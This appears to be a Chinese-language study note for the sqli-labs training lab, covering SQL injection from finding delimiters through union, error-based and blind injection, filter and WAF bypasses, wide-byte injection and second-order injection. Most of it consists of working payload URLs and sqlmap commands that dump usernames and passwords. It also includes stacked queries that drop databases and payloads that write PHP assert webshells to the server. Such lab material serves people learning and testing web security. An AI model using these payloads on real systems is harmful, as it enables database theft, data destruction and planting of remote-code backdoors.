目录
找闭合符
1. 描述
如果输入了不符合sql语法的情况,就会报错,或者不回显,通过这样来判断闭合符。
2. 场景
2.1场景一
1. 搞清楚闭合符包含哪些符号
-
?id=1’ 如果报错,则说明闭合符包含 ’
-
?id=1" 如果报错,则说明闭合符包含 "
-
?id=1) 如果报错,则说明闭合符包含 )
-
如果以上三个都报错,有两种情况:
- 包含’ " ) 三个闭合符
- 数字型注入,没有闭合符
如何确定,直接通过下面步骤确定。
注意,报错可以是页面报错了,也有可能是没有正常回显!
可参考下面。例子
http://192.168.101.16/sqli-labs-master/Less-40/?id=1 有查询结果 http://192.168.101.16/sqli-labs-master/Less-40/?id=1" 有查询结果 http://192.168.101.16/sqli-labs-master/Less-40/?id=1' 无查询结果 http://192.168.101.16/sqli-labs-master/Less-40/?id=1'-- s 无查询结果 http://192.168.101.16/sqli-labs-master/Less-40/?id=1')-- s 有查询结果 如此可以推断闭合符是 ')
2. 确定闭合符究竟是什么
- ?id=1 – s 如果没报错,正常回显,则说明没有闭合符
- ?id=1’ – s 如果没报错,正常回显,则说明闭合符是’
- ?id=1" – s 如果没报错,正常回显,则说明闭合符是"
- ?id=1) – s 如果没报错,正常回显,则说明闭合符是)
- ?id=1’) – s 如果没报错,正常回显,则说明闭合符是’)
- ?id=1") – s 如果没报错,正常回显,则说明闭合符是")
- …
3.相关关卡
https://blog.csdn.net/elephantxiang/article/details/119684515#t1
https://blog.csdn.net/elephantxiang/article/details/119684515#t2
https://blog.csdn.net/elephantxiang/article/details/119684515#t3
2.2 场景二——未知正确输入的情况下
1. 具体
如果,页面是POST的,并且是一个登录框,并且不知道正确的用户名和密码。那么无论怎么输,都是登录失败,这个时候,怎么猜闭合符呢?
我们可以考虑用万能的 or 1=1#
如果返回登录成功,这样我们就能知道or 1=1# 被成功执行,也就是闭合成功了,也就猜到闭合符了。
例如
login_user=admin&login_password=pass" or 1=1#&mysubmit=Login // 回显登录失败
login_user=admin&login_password=pass' or 1=1#&mysubmit=Login // 回显登录成功
那么说明,闭合符就是双引号
2.相关关卡
44
确认是否存在注入点
1. 描述
- 确认了闭合符后,我们需要用一些方法来确定我们的url GET参数是否是可以注入的。(也就是是否存在注入点)
2. 场景
2.1 场景一——GET
1. 具体
- and 1=1 显示正常
and 1=2 显示异常
这样就能够说明,and后面的sql语句是执行成功了的,所以存在注入点。
- or 1=1 显示正常
- or 1=2 显示异常
这样就能够说明,and后面的sql语句是执行成功了的,所以存在注入点。
http://localhost/Less-8/?id=1' and 1=1 //显示正常
http://localhost/Less-8/?id=1' and 1=2 //显示异常,说明此处存在注入点
2. 相关关卡
任何关卡都要
2.2 场景二——POST
Post场景
1. 具体
和GET唯一的区别就是,先在输入框输入普通语句,然后用BurpSuite抓包,在抓到的包上修改,然后Forward,这样就可以了。
2. 相关关卡
Less11
2.3 场景三——POST sqlmap
1. 具体
Post场景——sqlmap
方式一
启动sqlmap探测注入点
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch
爆破当前数据库名
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch --current-db
爆破数据表
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security --tables
最后脱库
sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security -T users --dump
方式二
将抓包内容保存到.txt文件中
启动sqlmap
sqlmap.py -r txt文件位置 -p 要扫描的点
爆破数据库
sqlmap.py -r .txt文件位置 -p 扫描的位置 --current-db
爆破表
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --tables
脱库
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --dump
2. 相关关卡
11
2.4 场景四——页面信息提示点
1. 具体
根据页面的一些提示信息猜取可能的注入点,比如页面显示PASSWORD RESET则很有可能注入点在password。
2. 相关关卡
17
2.5 场景五——头部注入(UserAgent)
1. 具体
如果发现了页面保存如下相关的UserAgent信息
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
可以尝试在此处注入,注入方式可以是报错注入等。具体要用BurpSuite抓包来实施注入。
2. 相关关卡
18
2.6 场景六——头部注入(UserAgent)sqlmap
1. 具体
其他的头部注入还有:Referer、Cookie
在头部注入爆破中,sqlmap需要提高扫描等级 level和risk
- level x(x为1-5)
- 当为2时会对头部的cookie进行扫描注入尝试
- x>=3时队user-Agent,ip,referer参数进行扫描
- risk x(x 1-3)
- 1时进行大部分扫描
- 2会增加基于事件的测试语句
- 3会增加or语句的sql注入
为了提高sqlmap注入的速度,还可以把数据包里面的UserAgent位置进行标注。
2.相关关卡
18
猜解字段数
1. 描述
- 通过order by 数字来猜解,如果超出了字段数,往往会报错或者不回显
2. 场景
2.1 场景一
1. 具体
?id=1’ order by 3 没报错
?id=1’ order by 4 报错
说明有三个字段。
2.相关关卡
https://blog.csdn.net/elephantxiang/article/details/119684515#t1
union select
1. 描述
- 只有where id = 1这种才能用union select 否则不能用
2. 场景
2.1 场景一
1. 具体
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-1/?id=1' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- s
#确定当前数据库
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()-- s
#爆出当前数据库内的所有表名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- s
#爆出当前数据库user表的所有列名
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- s
#爆出当前数据库user表所有username和password
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- s
2. 相关关卡
https://blog.csdn.net/elephantxiang/article/details/119684515#t1
报错注入
1.描述
- 前提是页面会打印报错信息
- 关键是利用updatexml函数来进行报错注入
2.场景
2.1 场景一
1. 具体
#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
2. 相关关卡
https://blog.csdn.net/elephantxiang/article/details/119684515#t5
布尔盲注
1.描述
1.具体
-
有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为boolean型盲注和时间型盲注。
-
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
-
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。
2. 建议
只有联合查询和报错注入都不能使用的时候,才考虑使用,因为比较麻烦。
2.场景
2.1 场景一
1. 具体
- 手动方式,以下只展示采取数据库名的长度。
http://localhost/Less-8/?id=1' and length(database())>50 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>25 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>12 -- s //显示异常
http://localhost/Less-8/?id=1' and length(database())>6 -- s //显示正常,说明长度在6~12之间
http://localhost/Less-8/?id=1' and length(database())>7 -- s //显示正常
http://localhost/Less-8/?id=1' and length(database())>8 -- s //显示异常
大于7显示正常但是小于8显示异常,说明数据库名字的长度就是8
http://localhost/Less-8/?id=1' and length(database())=8 -- s //显示正常
2. 相关关卡
https://blog.csdn.net/weixin_59047731/article/details/134469305#t8
2.2 场景二
1. 具体
-
BurpSuite暴力猜解所有。
-
直接看下面链接教程。
暴力模块只能做到猜解单个字符,具体的每个字符还要手动操作。
- 打开proxy,并开始拦截,然后在代理浏览器输入以下
http://localhost/sqli-labs-master/Less-8/?id=1 and (select ascii(substr(database(),1,1))=1) -- s
- 然后把拦截到的报文发到intruder
- 然后打开intruder
- 添加标注指定要爆破的值,然后点Add $
- 然后点击payload,选择范围
- 然后点击attack
- 得到结果,排序以下找出不一样的,这样那个就是想要的值。
2. 相关关卡
https://blog.csdn.net/weixin_59047731/article/details/134469305#t8
时间盲注
1.描述
如果实在没有回显,则可以利用sleep函数,如果注入成功,那么页面回显会过几秒才显示。
2.场景
2.1 场景一
1. 具体
1. 证明存在注入点
http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(2),0)-- s
页面会过2s再刷新成功
输入http://192.168.101.16/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(2),0)-- s
页面立刻刷新成功
则证明此处存在注入点。
2. 判断数据库名有说少个字符
http://192.168.101.16/sqli-labs-master/Less-9/?id=-1' or if(length(database())=8,sleep(5),0)--+
3. 猜解单个字符
http://192.168.101.16/sqli-labs-master/Less-9/?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
但这种一般直接用sqlmap攻击。
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
2. 相关关卡
9
写webshell
1. 描述
原理就是往服务器写入一个php文件。里面内容往往是
<?php assert($_POST[less1]);?>
所以如果这个文件被其他方式触发了,那么这个post参数将会被当作php语句来执行,这样就可以执行任何想干的操作了。
2. 场景
2.1 场景一——Where后
1. 具体
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'C:/less1.php'-- s
2. 相关关卡
https://blog.csdn.net/elephantxiang/article/details/119684515#t1
2.1 场景一——order by后
1. 具体
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1 into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s
注意后面这串主要是为了规避使用单引号。实际内容如下红框。
2. 相关关卡
https://blog.csdn.net/elephantxiang/article/details/120189973#t6
对被加密注入
1.描述
部分数据在后端先经过解密,再被作为sql语句的一部分来执行。这时我们需要注入的sql语句也需要加密。这样在后端解密后,得到的是我们想要的注入的sql语句。
2.场景
2.1 场景一
1. 具体
成功登录后发现在Cookie处登录的信息被进行了加密,说明在客户端登录的信息被进行了加密
可以尝试在每次注入前对payload进行加密在注入
先将语句进行base64加密,再进行注入,通过回显找到闭合方式为’)
找到了字段数,尝试爆破数据库名
2. 相关关卡
21
2.2 场景二——sqlmap
1. 具体
将数据包头的内容重新粘贴到新的文档中,再Cookie处标上*
启动sqlmap,对进行加密注入的数据需要用到tamper模块
扫描
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py"
爆破数据库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" --current-db
爆破表单
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" -D security --tables
脱库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper="base64encode.py" -D security -T users --dump
对抗过滤
1.描述
为了防止被注入,往往代码会过滤掉一些特殊字符,如注释符、单引号、双引号、空格等。
2.场景
2.1 场景一——注释符被注入
1. 具体
唯一的方法是使闭合符重新闭合,这样来让后面的语句继续生效,从而不用注释。
- 方法一:or + 报错注入
http://192.168.101.16/sqli-labs-master/Less-23/id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
这样构造闭合的目的就是将原有单引号进行逃逸使查询语句变为 id=‘-1’ xxx and ‘1’=‘1’ 最后的半个
单引号用于逃逸后台的闭合方式
此处让单引号闭合是使用 ‘1’='1 来使后面的单引号可以匹配上,从而不报错。
- 方法二:union select
http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,2,database()'
如下,让前面的id=-1从而不显示前面的。最后添加个双引号,让后面的双引号匹配上,从而不报错。
2. 相关关卡
23
2.2 场景二——and和or被过滤
1. 具体
or解决思路:
- 将or变成oorr, 这样后台过滤了or还剩下or
- 用||代替or
and解决思路:
- 将or变成anandd, 这样后台过滤了and还剩下and
- 用&&代替and,但是要经过url编码。(因为url里面用到&符)
例:
?id=-1’ oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
或者
?id=-1’ || updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
2. 相关关卡
25
2.3 场景三——空格被过滤
1. 具体
使用括号代替空格。
例如,如果原来可以这样写。
?id=-1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1)||'1'='1
但是由于空格被过滤,所以过滤后,语句不合语法会报错。所以,我们可以像下面这这样用括号代替空格。
?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)||'1'='1
2. 相关关卡
26
2.4 场景四——空格被过滤
1. 具体
用%0a 代替空格或者换行
例如,如果原来可以这么写
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
但是空格被过滤了,可以改成
?id=1'and%0aupdatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
2. 相关关卡
27
2.5 场景五——select被过滤
1. 具体
白盒查看过滤的字符,可以看到,只是过滤了部分组合(没有用忽视大小写的方式)。我们可以用大小写混合的方式绕过。例如selEct等
2. 相关关卡
27
2.5 场景五——union select被过滤(忽视大小写)
1. 具体
可以发现只是过滤了union select。我们考虑到前面过滤了and or的解决方法,可以直接双写绕过。
也就是用unionunion selectselect来绕过这个过滤。
这关不看代码的话,有点难绕。。先看代码吧
代码中先过滤/,*,-,#,空格,+,最后过滤union\s+select(且不区分大小写)
首先由于64行及之前,对空白符过滤的不充分,空格可以用其他空白符代替,比如%0a;
然后来看union select的过滤怎么绕过:
既然union select是作为一个组合过滤的,并且只过滤一次,因此可以用整体的双写绕过,比如:
http://192.168.101.16/sqli-labs-master/Less-28/?id=1')%0aunionunion%0aselect%0aselect%0a1,2,3%0aand ('1')=('1
这样过滤的时候中心的union%0aselect会匹配到union\s+select,剩下两侧组合起来的union%0aselect
完整过程的payload如下(payload是拿前面关卡改的,其实可以更简单,比如不用括号绕过空格,而是用%0a,再比如select不需要大写绕过):
#确认回显的列 http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a4,2,3%0aand ('1')=('1 #获取服务器上所有数据库的名称 http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand ('1')=('1 #获取pikachu数据库的所有表名称 http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='pikachu'),3%0aand ('1')=('1 #获取pikachu数据库message表的所有列名称 http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='pikachu'%0aand%0atable_name='message'),3%0aand ('1')=('1 #获取pikachu数据库message表的id和content列的所有值 http://192.168.101.16/sqli-labs-master/Less-28/?id=0')%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(concat(id,'^',content))%0afrom%0apikachu.message),3%0aand ('1')=('1
2. 相关关卡
28
二次注入
1.描述
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
简言之就是将脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会拼接到其他查询语句中造成注入。
2.场景
2.1 场景一
1. 具体
下面演示,如何从白盒的角度,分析可能存在sql注入的点。
首先观察一下页面,有登录和注册新用户的功能(忘记密码功能是假的)
点击New User click here?会进入注册用户的页面
输入正确的用户名和密码会进入修改用户密码的页面,比如下图以用户名admin,密码2登录
通过以上考察,可以发现本关应该有三个位置有sql语句:
- 登录的位置是select语句
- 新建用户的地方是insert语句,
- 修改密码的地方是update语句。
再看看代码中这三个sql语句是否有预编译、编码、过滤等操作,以判断是否有注入可能。
【登录代码】
如下,mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符,这里select语句中用户名和密码都有单引号闭合,用户输入用这个函数处理之后无法闭合单引号,因此无注入点。
【注册用户代码】
如下,同样,insert语句的入参都经过了函数*mysql_escape_string()*的转义,没有注入点。
【修改密码代码】
update语句中的 p a s s 和 pass和 pass和curr_pass都是用户输入的参数,都经过转义了,但$username是从session中读取的,并且没有经过转义,因此有sql注入的可能。
username有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。比如,如果已知用户是admin,则新创建的用户应当是admin’#或者admin’-- s之类,使最终生效的sql语句为:UPDATE users SET PASSWORD=‘$pass’ where username=‘admin’
因此,本关的解法可以是:
注册新用户admin’#,密码随意
以admin’#登录
修改密码为456
上图中点reset之后再logout,然后用用户名admin,密码456登录,可以登录成功
2. 相关关卡
24
对抗转义
1.描述
就是一些类似单引号等被转义了
2.场景
2.1 场景一——单引号被转义
1. 具体
假如该场景只是数字型注入,并且单引号被转义,这个时候我们不用到单引号就可以了。假如我们要用到字符串怎么办?把字符串转成16进制!
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
2. 相关关卡
35
堆叠注入
1.描述
堆叠注入就是添加分号;
, 从而将后面的语句一并执行!
【前提】
源码使用了**mysqli_multi_query()**函数,该函数可以执行多个针对数据库的查询。
2.场景
2.1 场景一——GET
1. 具体
- 想通过报错找闭合,然后开始快乐的堆叠吧!
比如创建数据库:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';create database xiannv-- s
创建表:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';use xiannv;create table xiang(id int,user varchar(10))-- s
创建数据:
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';insert into xiannv.xiang values(1,'test1')-- s
上面三步的结果:
从服务器上的navicat可以看到,产生了一个新数据库xiannv,该数据库中有一个表xiang,该表有两列id和user,有一条记录,id值为1,user值为test1
或者写入webshell
http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';select '<?php assert($_POST[less38]);?>' into outfile 'C:/phpstudy_pro/WWW/less38.php'-- s
2. 相关关卡
38
2.2 场景二——POST
1. 具体
注意,post的都要用burpSuite抓包来注入
- 猜闭合符。
login_user=admin&login_password=pass'&mysubmit=Login
发现是password存在注入点,并且闭合符是 单引号
- 堆叠注入
login_user=admin&login_password=*pass’;drop database xiannv*#&mysubmit=Login
2. 相关关卡
42
宽字节注入
1.描述
【前提】
源码要用到如下这种使用gbk编码的情况才能使用。
【要义】
- 适用条件:单引号被转义,被添加上斜杠了。即
\'
- gbk中,汉字是两个字节。并且第一个字节都是%80以后的字节。
- 所以,碰上转义,如果我们想让转义失效,我们在单引号前添加 %81,让%81和后面的转义符斜杠结合,变成gbk里的汉字,这样,转义符就被消灭掉了!
2.场景
2.1 场景一——GET
1. 具体
地址栏输入
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%81'
可以发现,页面报错了,这样说明单引号被识别出来了。
爆数据的payload如下:
特别注意,本关payload中只有闭合单引号时用宽字节注入,其他涉及单引号的部分都要用字符的十六进制编码,否则会报错。(因为其他地方你也不想无缘无故多出一个汉字是吧?)
#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s
2. 相关关卡
32
2.2 场景二——POST
1. 具体
POST适用宽字节注入,要注意,在输入框直接输入单引号等是无法注入的,因为会被进行url编码,我们需要用burpSuite抓包来进行宽字节注入。
这关还是利用宽字节绕过,只不过参数提交方式从GET变成POST了
特别需要注意的是:
直接在网页输入框里面绕过(下面这样)没有用
用burpsuite抓包发现df前面的百分号被url编码了
可以直接在burpsuite中进行宽字节绕过,或者用firefox的hackbar更直观
爆数据的payload如下:
#下面两步找列数 uname=admin%df' order by 2-- s&passwd=1&submit=Submit uname=admin%df' order by 3-- s&passwd=1&submit=Submit #确定哪个字段有回显 uname=admin%df' union select 1,2-- s&passwd=1&submit=Submit #爆出所有数据库名称 uname=admin%df' union select 1,group_concat(schema_name) from information_schema.schemata-- s&passwd=1&submit=Submit #爆出数据库pikachu的所有表名称 uname=admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s &passwd=1&submit=Submit #爆出数据库pikachu的表message的所有列名称 uname=admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s &passwd=1&submit=Submit #爆出数据库pikachu的表message的id列和content列的值 uname=admin%df' union select 1,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s&passwd=1&submit=Submit
2. 相关关卡
34
2.3 场景三——sqlmap
1. 具体
宽字节绕过用sqlmap来注入,需要用到名为unmagicquotes.py的tamper脚本(–tamper unmagicquotes.py)。
python sqlmap.py -r C:\tmp\1.txt --tamper unmagicquotes.py -dbs --batch
2. 相关关卡
37
HTTP参数污染
1.描述
服务器端有两个部分:
-
第一部分是tomcat为引擎的jsp型服务器,
-
第二部分是apache为引擎的php服务器。
真正提供web服务的是php服务器,往往在tomcat的服务器处做过滤处理,功能类似于waf,由于解析参数的机制不同,我们可以利用该原理绕过waf的检测;数据解析的顺序:tomcat从前往后,appache从后往前。
2.场景
2.1 场景一
http://localhost/sqli-labs-master/Less-29/?id=-1&id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)–+
HTTP参数污染:
看到下面这条语句,很明显:
- 当WAF检查url时,会只检查前面的id=-1这个值,然后-1这个值没啥问题,直接放过。
- 但是后端的apache服务器获取到的全是后面这个id值,即下面这个值
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+
所以,就可以注入了!
1. 具体
2. 相关关卡
29
order by后的注入
1.描述
order by后面是不能接union select的,一般来说只能用报错注入。
2.场景
2.1 场景一——结合报错出入
1. 具体
-
先猜闭合符,根据上面猜出,没有闭合符,数字型注入。
-
然后用 and + 报错注入就可以了。
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)
2. 相关关卡
46
2.2 场景二——结合布尔注入
1. 具体
- 假设没有报错信息,我们只有排序结果。
我们唯一可以获取变化的点就是排序结果。
-
知识点:在mysql中,order by rand()可以用于对返回数据进行随机排序。
并且如果固定种子,即order by rand(0),返回的顺序会一直是一样的。
-
也就是说order by rand(0) 和 order by rand(1)得到的排序顺序不一样。
-
这样,我们就可以得到一个if语句了。0代表假,1代表真。如此,布尔注入的条件已经构建完毕。这样,下面我们就进行愉快的注入吧。
?sort=rand(ascii(mid((select database()),1,1))>114)
如上,可以二分法判断数据库的字符。
当然这样太慢,我们直接用BurpSuite帮忙爆破。
- 先打开拦截,然后输入以下
http://localhost/sqli-labs-master/Less-48/?sort=rand(ascii(mid((select%20database()),1,1))=114)
- 然后发送到intruder
然后添加标注
然后设置范围、步长
3.然后开始爆破。
突然发现,排序的response结果的长度都是一样的,要一个一个报文找不同。。。
当然不会这么笨,还有一个方法就是把报文都下载下来,然后写个python脚本算哈希比不同。还是很麻烦…
2. 相关关卡
报错注入
1.描述
2.场景
2.1 场景一
1. 具体
2. 相关关卡
参考
https://blog.csdn.net/elephantxiang/article/details/120091507?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172447980616800188570793%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=172447980616800188570793&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-120091507-null-null.nonecase&utm_term=sqli-labs%E9%80%9A%E5%85%B3&spm=1018.2226.3001.4450